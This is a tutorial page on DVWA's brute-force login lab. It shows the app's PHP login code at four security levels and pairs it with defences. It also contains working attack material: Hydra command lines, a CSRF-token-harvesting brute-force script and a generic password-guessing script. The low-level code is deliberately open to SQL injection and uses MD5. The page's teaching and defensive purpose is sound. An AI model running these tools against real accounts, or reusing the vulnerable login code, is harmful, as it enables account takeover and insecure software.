Skip to main content

Brute Force Attack

Brute force attacks involve systematically trying multiple password combinations to gain unauthorized access to user accounts. This module demonstrates how weak authentication mechanisms can be exploited and the progressive security controls needed to defend against them.

What is a Brute Force Attack?

A brute force attack is a trial-and-error method used to obtain information such as passwords or PINs. Attackers use automated tools to submit many passwords or passphrases with the hope of eventually guessing correctly. The attack works because:
  • Users often choose weak, predictable passwords
  • Single words from dictionaries are common
  • Patterns like “password123” or “qwerty” are frequently used
  • No rate limiting allows unlimited attempts

Common Attack Vectors

  1. Dictionary Attacks: Using wordlists of common passwords
  2. Credential Stuffing: Reusing leaked credentials from other breaches
  3. Password Spraying: Trying a few common passwords against many accounts
  4. Pure Brute Force: Trying every possible character combination

How the Attack Works

The DVWA brute force module presents a simple login form that accepts username and password credentials:
<form action="#" method="GET">
    Username:<br />
    <input type="text" name="username"><br />
    Password:<br />
    <input type="password" name="password"><br />
    <input type="submit" value="Login" name="Login">
</form>
```sql

### Attack Methodology

1. **Reconnaissance**: Identify valid usernames (admin, user, etc.)
2. **Tool Selection**: Use automated tools like Hydra, Burp Suite Intruder, or custom scripts
3. **Wordlist Preparation**: Generate or obtain password wordlists
4. **Execution**: Systematically try each password
5. **Success Detection**: Identify successful login based on response

## Security Level Breakdown

### Low Security

**Vulnerability**: No protection mechanisms whatsoever.

```php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Login successful
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
}
?>
Weaknesses:
  • Uses GET method (credentials visible in URL)
  • No rate limiting
  • No account lockout
  • No CAPTCHA
  • No delay between attempts
  • Vulnerable to SQL injection ($user not sanitized)
  • Uses weak MD5 hashing
Exploitation: Tools like Hydra can try thousands of passwords per minute:
hydra -l admin -P passwords.txt 192.168.1.100 http-get-form \
  "/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:incorrect"
```sql

### Medium Security

**Improvement**: Added input sanitization and 2-second delay on failure.

```php
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed - add delay
        sleep( 2 );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
}
?>
Improvements:
  • Input sanitization with mysqli_real_escape_string()
  • Fixed 2-second delay on failed login
Remaining Weaknesses:
  • Still uses GET method
  • Delay is predictable and only slows attacks (not prevents)
  • No account lockout
  • No CAPTCHA
  • Still uses MD5 hashing
Exploitation: Still vulnerable but slower. An attacker can still try ~30 passwords per minute.

High Security

Improvement: Added anti-CSRF tokens and random delays.
<?php
if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];
        $html .= "<p>Welcome to the password protected area {$user}</p>";
        $html .= "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed - random delay
        sleep( rand( 0, 3 ) );
        $html .= "<pre><br />Username and/or password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();
?>
```bash

**Improvements**:
- Anti-CSRF token validation
- Random delay (0-3 seconds) to confuse timing attacks
- Additional input sanitization with `stripslashes()`

**Remaining Weaknesses**:
- Anti-CSRF tokens don't prevent brute force
- Random delays only slow attacks
- Still no account lockout
- No CAPTCHA
- Still uses MD5 hashing

**Exploitation**: CSRF tokens must be extracted for each attempt:

```python
import requests
import re

for password in wordlist:
    # Get token
    r = requests.get(url)
    token = re.search(r"user_token' value='([^']+)", r.text).group(1)
    
    # Try login
    params = {
        'username': 'admin',
        'password': password,
        'Login': 'Login',
        'user_token': token
    }
    response = requests.get(url, params=params, cookies=cookies)
    if 'Welcome' in response.text:
        print(f"Success: {password}")
        break

Impossible Security

Improvement: Account lockout mechanism with time-based unlock.
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user);

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass);
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        // Check to see if enough time has passed
        if( $timenow < $timeout ) {
            $account_locked = true;
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];

        // Login successful
        $html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
        $html .= "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            $html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            $html .= "<p>Number of login attempts: <em>{$failed_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = \"0\" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        $html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}
?>
```bash

**Security Features**:
- Uses POST method (credentials not in URL)
- Account lockout after 3 failed attempts
- 15-minute lockout duration
- Prepared statements (PDO) prevent SQL injection
- Anti-CSRF token validation
- Random delay (2-4 seconds)
- Failed login counter tracking
- Timestamp-based lockout
- User notification of brute force attempts

**Key Mechanisms**:

1. **Failed Login Tracking**: Increments counter in database
2. **Time-Based Lockout**: Calculates unlock time based on last attempt
3. **Success Reset**: Clears failed login count on successful login
4. **User Enumeration Protection**: Same message for locked/incorrect credentials

**Potential Issues**:
- Can cause Denial of Service (DoS) by locking out legitimate users
- Still uses MD5 (should use bcrypt/argon2)
- Lockout based on username, not IP (attackers can lock out users)

## Defense Mechanisms

### 1. Rate Limiting

Limit the number of login attempts per time period:

```php
// Track attempts per IP
$ip = $_SERVER['REMOTE_ADDR'];
$attempts = getLoginAttempts($ip, $timeWindow = 300); // 5 minutes

if ($attempts > 5) {
    http_response_code(429);
    die("Too many login attempts. Please try again later.");
}

2. Account Lockout

Temporarily disable accounts after failed attempts:
// Lockout after 3 failed attempts for 15 minutes
if ($failedAttempts >= 3) {
    $unlockTime = time() + (15 * 60);
    updateUserLockout($username, $unlockTime);
}
```bash

### 3. CAPTCHA Implementation

Add CAPTCHA after multiple failed attempts:

```php
if ($failedAttempts >= 2) {
    // Require CAPTCHA
    if (!verifyCaptcha($_POST['captcha_response'])) {
        die("Invalid CAPTCHA");
    }
}

4. Multi-Factor Authentication (MFA)

Require additional authentication factors:
  • Time-based OTP (TOTP)
  • SMS codes
  • Hardware tokens
  • Biometric verification

5. Strong Password Policies

function isStrongPassword($password) {
    // Minimum 12 characters
    if (strlen($password) < 12) return false;
    
    // Require complexity
    if (!preg_match('/[A-Z]/', $password)) return false; // Uppercase
    if (!preg_match('/[a-z]/', $password)) return false; // Lowercase
    if (!preg_match('/[0-9]/', $password)) return false; // Numbers
    if (!preg_match('/[^A-Za-z0-9]/', $password)) return false; // Special chars
    
    // Check against common passwords
    if (in_array($password, $commonPasswords)) return false;
    
    return true;
}
```bash

### 6. Proper Password Storage

Use modern hashing algorithms:

```php
// NEVER use MD5 or SHA1
// BAD: md5($password)

// GOOD: Use password_hash with bcrypt or argon2
$hash = password_hash($password, PASSWORD_ARGON2ID);

// Verify
if (password_verify($inputPassword, $storedHash)) {
    // Login successful
}

7. Monitoring and Alerting

Detect and respond to brute force attempts:
// Log suspicious activity
if ($failedAttempts > 5) {
    logSecurityEvent([
        'type' => 'brute_force_attempt',
        'username' => $username,
        'ip' => $_SERVER['REMOTE_ADDR'],
        'attempts' => $failedAttempts,
        'timestamp' => time()
    ]);
    
    // Alert security team
    notifySecurityTeam($username, $failedAttempts);
}
```bash

## Testing for Vulnerabilities

### Manual Testing

1. **Unlimited Attempts**: Try 10+ failed logins
2. **No Delay**: Measure response time between attempts
3. **No Lockout**: Verify accounts don't lock after failures
4. **User Enumeration**: Check if error messages differ for valid/invalid users

### Automated Testing Tools

**Hydra** (THC-Hydra):
```bash
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
  192.168.1.100 http-post-form \
  "/login:username=^USER^&password=^PASS^:F=incorrect"
Burp Suite Intruder:
  1. Capture login request
  2. Send to Intruder
  3. Set password as payload position
  4. Load password list
  5. Start attack
  6. Analyze responses for success
Custom Python Script:
import requests

url = "http://target.com/login"
passwords = open('passwords.txt').read().splitlines()

for password in passwords:
    data = {'username': 'admin', 'password': password}
    response = requests.post(url, data=data)
    
    if 'Welcome' in response.text:
        print(f"[+] Found password: {password}")
        break
    else:
        print(f"[-] Failed: {password}")
```bash

## Best Practices Summary

1. **Implement account lockout** (3-5 attempts, 15+ minute lockout)
2. **Use rate limiting** (per IP and per account)
3. **Add progressive delays** (exponential backoff)
4. **Require CAPTCHA** after failed attempts
5. **Use strong password hashing** (bcrypt, argon2)
6. **Enforce password complexity** (length, character diversity)
7. **Use POST method** for credentials
8. **Implement MFA** for sensitive accounts
9. **Monitor for suspicious activity**
10. **Use generic error messages** (prevent user enumeration)
11. **Log all authentication events**
12. **Consider geographic restrictions**
13. **Implement session management** properly
14. **Use HTTPS** for all authentication

## References

- [OWASP Brute Force Attack](https://owasp.org/www-community/attacks/Brute_force_attack)
- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)
- [NIST Digital Identity Guidelines](https://pages.nist.gov/800-63-3/)
- [Password Cracking Techniques](https://en.wikipedia.org/wiki/Password_cracking)

Build docs developers (and LLMs) love